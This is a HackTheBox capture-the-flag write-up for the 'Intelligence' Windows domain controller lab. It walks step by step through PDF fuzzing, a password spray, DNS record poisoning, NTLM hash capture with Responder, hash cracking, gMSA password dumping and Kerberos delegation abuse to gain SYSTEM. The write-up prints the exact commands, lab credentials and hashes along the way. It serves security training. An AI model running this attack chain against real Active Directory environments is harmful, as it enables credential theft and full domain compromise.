Metadata
- Platform: HackTheBox
- CTF: Intelligence
- OS: Windows
- Difficulty: Medium
Summary
An exposed web service references two PDFs, with highly predictable date-based naming conventions. By fuzzing for other files, we can access quite a few hidden ones, which not only include a password, but also allow us to extract user account names based on some of the document’s metadata. A password spray yields access to an account, as well as access to a smb share. By abusing a scheduled script on this share and manipulating an AD DNS entry, we can intercept an NTLM hash of another account. Lastly, we leverage this account’s increased domain permission to craft a malicious Kerberos ticket as the Administrator
, which grants us local system level privileges on the Domain Controller.
Solution
Reconnaissance
Using Nmap, we get information about several open ports.
nmap -sC -sV 10.10.10.248 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 15:25 CEST
Nmap scan report for 10.10.10.248
Host is up (0.055s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Intelligence
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-14 20:25:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T20:26:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2025-04-14T20:26:39+00:00; +7h00m00s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
There are a few noteworthy aspects about these results. On one hand, the target does not expose a WinRM service, which could make the initial foothold more challenging. Also, we can’t extract any valuable information from the open smb and LDAP services with our current access level. We should therefor focus on the open web service on port 80.
Upon further inspection of the website, we find two links to .pdf
files:
- http://10.10.10.248/documents/2020-12-15-upload.pdf
- http://10.10.10.248/documents/2020-01-01-upload.pdf
These documents themselves are quite irrelevant for us. However, their naming convention seems to be very predictable, following YEAR-MONTH-DAY-upload.pdf
. Knowing this, we can try to fuzz for other hidden files. Let’s start by preparing two wordlists for this purpose, one for each value. This way, we can automate this process.
seq -w 1 31 > days
seq -w 1 12 > months
Now we only need to feed these lists into Ffuf, with which we can start detecting files.
ffuf -w "./days:DAY" -w "./months:MONTH" -u http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf
:: Wordlist : DAY: /home/kali/htb/machines/intelligence/days
:: Wordlist : MONTH: /home/kali/htb/machines/intelligence/months
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 11557, Words: 167, Lines: 136, Duration: 107ms]
* DAY: 23
* MONTH: 01
<cut>
I cut the output above, because there are way more results than expected, way too many to check all of them manually. We also can’t check these results based on response lengths, as all files seem to contain junk text. This is a perfect opportunity to write a little script, with which we can automatically download all of these files and extract the containing text.
User Flag
ffuf -w "./days:DAY" -w "./months:MONTH" -u http://10.10.10.248/documents/2020-MONTH-DAY-upload.pdf -o hits.json -of json
jq -r '.results[].url' hits.json > urls.txt
mkdir pdfs
cd pdfs
wget -i ../urls.txt
cd ..
mkdir pdf_texts
After executing these, we have a /pdfs
folder with all discovered .pdf
files. Now, we only need to extract the text for each of these files and save it, in order to search through them. For this purpose, the following script will suffice.
from pdfminer.high_level import extract_text
import os
input_dir = "pdfs"
output_dir = "pdf_texts"
os.makedirs(output_dir, exist_ok=True)
for file in os.listdir(input_dir):
if file.endswith(".pdf"):
in_path = os.path.join(input_dir, file)
out_path = os.path.join(output_dir, file.replace(".pdf", ".txt"))
text = extract_text(in_path)
with open(out_path, "w") as out_file:
out_file.write(text)
Since this operation was successful, we can now move into /pdf_texts
and grep through these files. As I suspect any of these files to contain a password, we can search for an adjacent term.
grep -r -i pass .
./2020-06-04-upload.txt:Please login using your username and the default password of:
./2020-06-04-upload.txt:After logging in please change your password as soon as possible.
cat 2020-06-04-upload.txt
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
This is helpful! 2020-06-04-upload.txt
discloses that there must be a user account with the password NewIntelligenceCorpUser9876
, at least as long as it was never changed. But this is not the only information we can obtain from these files., as 2020-12-30-upload.txt
informs us about something security related. This might come in handy later on.
Internal IT Update
There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.
So, at this point we have a password, which is likely valid from some user account. However, we don’t have any domain username, for which we could test it, as we previously didn’t have a way to enumerate them. Know, we have something to work with, as PDF files usually contain the creator’s name of the document. With strings
, these are trivial to find.
strings 2020-01-01-upload.pdf
<cut>
/Creator (William.Lee)
<cut>
After checking a few other files, there is not only one account that created these files but a bunch of them. This poses as a great way to obtain a list of usernames. We can automate this process, once again, by using the following bash one-liner.
strings * | grep "/Creator" | grep -v "TeX" | sed -E 's/\/Creator \((.*)\)/\1/' > names.txt
Finally, we can use the list of usernames and the discovered password with Netexec, and check if we get any hits.
netexec smb 10.10.10.248 -u names.txt -p NewIntelligenceCorpUser9876
<cut>
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
As we got a hit for the account Tiffany.Molina
, we granted ourselves increased access rights to the domain resources. Since there is no open WinRM service, over which we could obtain a foothold on the machine, we should instead check the smb share with SMBclient.
smbclient -L //10.10.10.248/ -U Tiffany.Molina
Password for [WORKGROUP\Tiffany.Molina]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
smbclient //10.10.10.248/Users -U Tiffany.Molina
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Mon Apr 19 03:20:26 2021
.. DR 0 Mon Apr 19 03:20:26 2021
Administrator D 0 Mon Apr 19 02:18:39 2021
All Users DHSrn 0 Sat Sep 15 09:21:46 2018
Default DHR 0 Mon Apr 19 04:17:40 2021
Default User DHSrn 0 Sat Sep 15 09:21:46 2018
desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
Public DR 0 Mon Apr 19 02:18:39 2021
Ted.Graves D 0 Mon Apr 19 03:20:26 2021
Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021
The compromised user account has access to two irregular shares, one of which being the Users
share. Since it exposes the targets Users
folder, we can claim the user flag on Tiffany.Molina
’s desktop.
d3899fee046377146e38723889b76b64
Root Flag
Since our current access also allows us to take a peak at the IT
share, we should check it out.
smbclient //10.10.10.248/IT -U Tiffany.Molina
Password for [WORKGROUP\Tiffany.Molina]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Apr 19 02:50:55 2021
.. D 0 Mon Apr 19 02:50:55 2021
downdetector.ps1 A 1046 Mon Apr 19 02:50:55 2021
In it, we find a PowerShell script called downdetector.ps1
. Let’s download it to our machine, so we can analyze it.
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
In the first line, we can see that this script is scheduled to run every five minutes. My first though was to replace the script, however we are not permitted to write to the IT
share. From the looks of it, the script gathers all stored DNS records of the AD domain, which start with the prefix web
. For each of these entries, it invokes a web request. The most important part here is that the request is being made with credentials of the executing user.
By itself the script is not that interesting. However, as a domain user like us, we are permitted to add DNS entries, which is default behavior. This means, we can create a DNS entry that points to our attacking machine. In return, this means that the script will authenticate against our machine, once it triggers, as long as we name our entry accordingly. This poses as an opportunity to intercept a NTLM hash.
First, we need to create the DNS entry. For this we can use dnstool. Remember to add the prefix web
, since it won’t be called otherwise.
python3 dnstool.py 10.10.10.248 -u "intelligence.htb\Tiffany.Molina" -p NewIntelligenceCorpUser9876 -a add -d 10.10.16.5 -r webtest
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Once this is done, we can start Responder on our interface. After waiting a little (up to five minutes), we can collect the NTLM hash of Ted.Graves
.
sudo responder -I tun0
<cut>
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:78371be0944e41b1:FA5CCF1D8A0CB4563F85DD5C5CA72B6F:0101000000000000ACBD757798ADDB01E77DC8C5C1D85A3D0000000002000800500035004600300001001E00570049004E002D0046003400540034005200390048005800370051004F000400140050003500460030002E004C004F00430041004C0003003400570049004E002D0046003400540034005200390048005800370051004F002E0050003500460030002E004C004F00430041004C000500140050003500460030002E004C004F00430041004C000800300030000000000000000000000000200000BD87700FCB7B93CBC2E8410B81BC9CD95D8E8B40EF102019B440D9791A0CFD160A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
While we could use this for limited authentication, let’s try to crack this hash by feeding it into Hashcat.
hashcat hash /usr/share/wordlists/rockyou.txt
<cut>
TED.GRAVES::intelligence:78371be0944e41b1:fa5ccf1d8a0c<cut>:Mr.Teddy
<cut>
Great, we now have access to the account Ted.Graves
. Before we try to authenticate against the machine for a PowerShell session, let’s take a step back. Earlier, we found a memo, which mentioned that there were some security issues with service accounts. Maybe this was never actually fixed. We can enumerate the entire domain with Bloodhound-python, which might be able to highlight a potentially dangerous relationship.
bloodhound-python -d intelligence.htb -ns 10.10.10.248 -c all -u Ted.Graves -p Mr.Teddy
After loading the acquired data into Bloodhound and marking Ted.Graves
as a compromised account, we can find something of value.
Ted.Graves
is a member ofITSupport
- Every member of
ITSupport
hasReadGMSAPassword
privileges overSVC_INT$
SVC_INT$
can delegate to the Domain Controller
This looks promising, as we are seemingly able to access the local Administrator
password on the DC. Let’s start by dumping the credentials of SVC_INT$
with gMSADumper.
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::b05dfb2636385604c6d36b0ca61e35cb
svc_int$:aes256-cts-hmac-sha1-96:77a2141a0d0b64a8858ff6eac44a82cb388161b70a0ee4557566f4a6fc2091aa
svc_int$:aes128-cts-hmac-sha1-96:e9b3d6e223cd226f04fb91aaf759765d
After we have obtained b05dfb2636385604c6d36b0ca61e35cb
as SVC_INT$
’s NTLM hash, we can now authenticate as this account. Using this, we continue with the delegation relationship. However, for this we need to SPN of our compromised account. While there are a bunch of tools with which we could obtain this entry, we can also quickly check the node information in Bloodhound.
Now, we only need to feed the required information into getST. This allows us to create a fake Kerberos ticket for any user on the Domain Controller, including Administrator
.
getST.py -spn 'WWW/dc.intelligence.htb' -impersonate 'administrator' -hashes :b05dfb2636385604c6d36b0ca61e35cb 'intelligence.htb/svc_int$' -dc-ip 10.10.10.248
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
export KRB5CCNAME=./administrator.ccache
Before we can use the created Kerberos ticket, we first need to set up the according DNS entry in our /etc/hosts
file, as Kerberos is dependent on DNS. However, since our exploit has created a ticket specifically for the Domain Control and not the entire domain, it’s essential to specify the subdomain dc.intelligence.htb
. After this is done, we can finally use our Kerberos ticket for authentication. Since there is no WinRM service, we can instead use PSexec to get a foothold on the target, as this account obviously has write access to some smb share. Afterwards, we can claim the root flag.
psexec.py -k -no-pass dc.intelligence.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file tbIKCoGf.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service OXRk on dc.intelligence.htb.....
[*] Starting service OXRk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
d8838fe16228f12c4bc84866ee35e276